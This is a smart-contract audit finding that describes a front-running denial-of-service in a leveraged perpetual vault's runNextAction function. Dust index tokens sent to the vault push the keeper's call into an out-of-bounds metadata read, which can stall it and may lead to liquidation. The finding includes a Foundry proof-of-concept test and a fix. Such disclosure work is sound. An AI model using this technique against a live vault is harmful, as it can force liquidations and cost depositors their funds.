Description
In 2x and 3x Leveraged vaults if a position is opened and any new deposit is made the next action is set to INCREASE_ACTION
Now when the keeper calls PerpetualVault::runNextAction it will reach __createIncreasePosition
function runNextAction(MarketPrices memory prices, bytes[] memory metadata) external nonReentrant gmxLock {
_onlyKeeper();
Action memory _nextAction = nextAction;
delete nextAction;
if (_nextAction.selector == NextActionSelector.INCREASE_ACTION) {
(bool _isLong) = abi.decode(_nextAction.data, (bool));
if (_isLongOneLeverage(_isLong)) {
console.log(" here ?");
_runSwap(metadata, true, prices);
} else {
if (IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min >= ONE_USD) {
(, bytes memory data) = abi.decode(metadata[1], (PROTOCOL, bytes));
_doDexSwap(data, false);
}
@> (uint256 acceptablePrice) = abi.decode(metadata[0], (uint256));
@> _createIncreasePosition(_isLong, acceptablePrice, prices);
}
}
.....
...
..
.
}
This function expects an argument acceptablePrice which is decoded in the line above the function from the metadata[0] , it can also be observed that if the contract holds any indexToken from previous actions it will be swapped to collateralToken using _doDexSwap function before calling _createIncreasePosition function , note that even a minimal amount of index token (1e15 or more , 27.93$ at the time of writing) to satisfy the if statement.
Now if there are no index tokens in the contract to swap then the keeper will call runNextAction function with metadata of length 1 , at this point any malicious user can front-run the transaction by sending 1e15 IndexToken to the vault essentially sending the keeper's transaction to this statement
in the above snippet
@> if (IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min >= ONE_USD) {
(, bytes memory data) = abi.decode(metadata[1], (PROTOCOL, bytes));
_doDexSwap(data, false);
}
but since there is no metadata[1] in the keepers metadata , his transaction hits an array-out-of- bounds exception and reverts
Usually this is an annoyance attack i.e Malicious user spends 28$ (approx) to delay the keeper transaction pipeline and blocking the flow (keeping it in withdraw flow) , doing this multiple times may lead to a DoS but ata cost of 28$ every time
In the 2x and 3x Vaults liquidations are more common than the 1x leverage vaults, so the worst case scenario is that when the keeper sends a transaction to add collateral to save the gmx position from being liquidated the malicious user halts the transaction resulting in the whole position being liquidated
Impact
Malicious user can halt a keepers transaction once causing an annoyance attack.
In the worst case scenario he can cause this when keeper is balancing collateral to save the gmx position resulting in the whole position being liquidated.
There are a total of 3 spots like this in the code where this attack can occur i.e in INCREASE_ACTION , WITHDRAW_ACTION and FINALIZE_ACTION of the runNextAction function so if a Malicious user plans the attack correctly he can keepers halted for longer periods
Proof of Concept
Attack Scenario:
Alice deposits 1e10 collateral tokens
keeper opens a position
bob deposits 1e10 collateral tokens
keeper calls runNextAction with metadata of length 1
Any Malicious user can front-run step 4 to transfer 1e15 ether
keepers transaction reverts
Paste the test below in PerpetualVault.t.sol
function testArrayOutOfBounds() public {
address keeper = PerpetualVault(vault2x).keeper();
address alice = makeAddr("alice");
depositFixtureInto2x(alice, 1e10);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](1);
data[0] = abi.encode(3390000000000000);
vm.prank(keeper);
PerpetualVault(vault2x).run(true, true, prices, data);
PerpetualVault.FLOW flow = PerpetualVault(vault2x).flow();
assertEq(uint8(flow), 2);
assertEq(PerpetualVault(vault2x).positionIsClosed(), true);
(PerpetualVault.NextActionSelector selector,) = PerpetualVault(vault2x).nextAction();
assertEq(uint8(selector), 0);
GmxOrderExecuted2x(true);
bytes32 curPositionKey = PerpetualVault(vault2x).curPositionKey();
assertTrue(curPositionKey != bytes32(0));
assertEq(PerpetualVault(vault2x).beenLong(), true);
flow = PerpetualVault(vault2x).flow();
assertEq(uint8(flow), 2);
assertEq(PerpetualVault(vault2x).positionIsClosed(), false);
(selector,) = PerpetualVault(vault2x).nextAction();
assertEq(uint8(selector), 6);
vm.prank(keeper);
PerpetualVault(vault2x).runNextAction(prices, data);
flow = PerpetualVault(vault2x).flow();
assertEq(uint8(flow), 0);
assertEq(PerpetualVault(vault2x).positionIsClosed(), false);
(selector,) = PerpetualVault(vault2x).nextAction();
assertEq(uint8(selector), 0);
assertEq(PerpetualVault(vault2x).beenLong(), true);
console.log("total shares_ before :", PerpetualVault(vault2x).totalShares());
console.log("Index Token before :", IERC20(PerpetualVault(vault2x).indexToken()).balanceOf(address(vault2x)));
console.log(
"Collateral Token before :", IERC20(PerpetualVault(vault2x).collateralToken()).balanceOf(address(vault2x))
);
address bob = makeAddr("bob");
depositFixtureInto2x(bob, 2e10);
(PerpetualVault.NextActionSelector selector3,) = PerpetualVault(vault2x).nextAction();
assertEq(uint8(selector3), 1);
assertEq(uint8(PerpetualVault(vault2x).flow()), 1);
prices = mockData.getMarketPrices();
data = new bytes[](1);
data[0] = abi.encode(3390000000000000);
assertEq((PerpetualVault(vault2x).beenLong() && PerpetualVault(vault2x).leverage() == 20_000), true);
assertEq(
IERC20(PerpetualVault(vault2x).indexToken()).balanceOf(address(vault2x)) * prices.indexTokenPrice.min
>= 1e30,
false
);
vm.startPrank(bob);
IERC20 indexToken = IERC20(PerpetualVault(vault2x).indexToken());
uint256 amount = 1e15;
deal(address(indexToken), bob, amount);
indexToken.transfer(address(PerpetualVault(vault2x)), amount);
vm.stopPrank();
vm.prank(PerpetualVault(vault2x).keeper());
PerpetualVault(vault2x).runNextAction(prices, data);
assertEq(PerpetualVault(vault2x).isLock(), true);
GmxOrderExecuted2x(true);
console.log("checkpoint reached");
assertEq(PerpetualVault(vault2x).positionIsClosed(), false);
console.log("Log end :", ERC20(address(PerpetualVault(vault2x).indexToken())).balanceOf(address(vault2x)));
console.log("total shares_ :", PerpetualVault(vault2x).totalShares());
}
Tools Used
Manual Review
Recommendations
It is upto the keeper to decide the length of the metadata and the actions of external users should not disturb the flow of the protocol so adding a check which executes the abi.decode and _dexswap only if metadata.length == 2 will prevent the issue
In PerpetualVault::runNextAction make the following changes:
function runNextAction(MarketPrices memory prices, bytes[] memory metadata) external nonReentrant gmxLock {
_onlyKeeper();
Action memory _nextAction = nextAction;
delete nextAction;
if (_nextAction.selector == NextActionSelector.INCREASE_ACTION) {
(bool _isLong) = abi.decode(_nextAction.data, (bool));
if (_isLongOneLeverage(_isLong)) {
console.log(" here ?");
_runSwap(metadata, true, prices);
} else {
// swap indexToken that could be generated from the last action into collateralToken
// use only DexSwap
if (IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min >= ONE_USD) {
+ if (metadata.length == 2) {
(, bytes memory data) = abi.decode(metadata[1], (PROTOCOL, bytes));
_doDexSwap(data, false);
+ }
}
(uint256 acceptablePrice) = abi.decode(metadata[0], (uint256));
_createIncreasePosition(_isLong, acceptablePrice, prices);
}
} else if (_nextAction.selector == NextActionSelector.WITHDRAW_ACTION) {
// swap indexToken that could be generated from settle action or liquidation/ADL into collateralToken
// use only DexSwap
if (IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min >= ONE_USD) {
+ if (metadata.length == 2) {
(, bytes memory data) = abi.decode(metadata[1], (PROTOCOL, bytes));
_doDexSwap(data, false);
+ }
}
uint256 depositId = flowData;
_withdraw(depositId, metadata[0], prices);
} else if (_nextAction.selector == NextActionSelector.SWAP_ACTION) {
console.log("execution Fee before runSwap", depositInfo[counter].executionFee);
(, bool isCollateralToIndex) = abi.decode(_nextAction.data, (uint256, bool));
_runSwap(metadata, isCollateralToIndex, prices);
} else if (_nextAction.selector == NextActionSelector.SETTLE_ACTION) {
_settle();
} else if (_nextAction.selector == NextActionSelector.FINALIZE) {
if (IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min >= ONE_USD) {
+ if (metadata.length == 2) {
(, bytes memory data) = abi.decode(metadata[1], (PROTOCOL, bytes));
_doDexSwap(data, false);
+ }
}
_finalize(_nextAction.data);
} else if (positionIsClosed == false && _isFundIdle()) {
flow = FLOW.COMPOUND;
if (_isLongOneLeverage(beenLong)) {
_runSwap(metadata, true, prices);
} else {
(uint256 acceptablePrice) = abi.decode(metadata[0], (uint256));
_createIncreasePosition(beenLong, acceptablePrice, prices);
}
} else {
revert Error.InvalidCall();
}
}
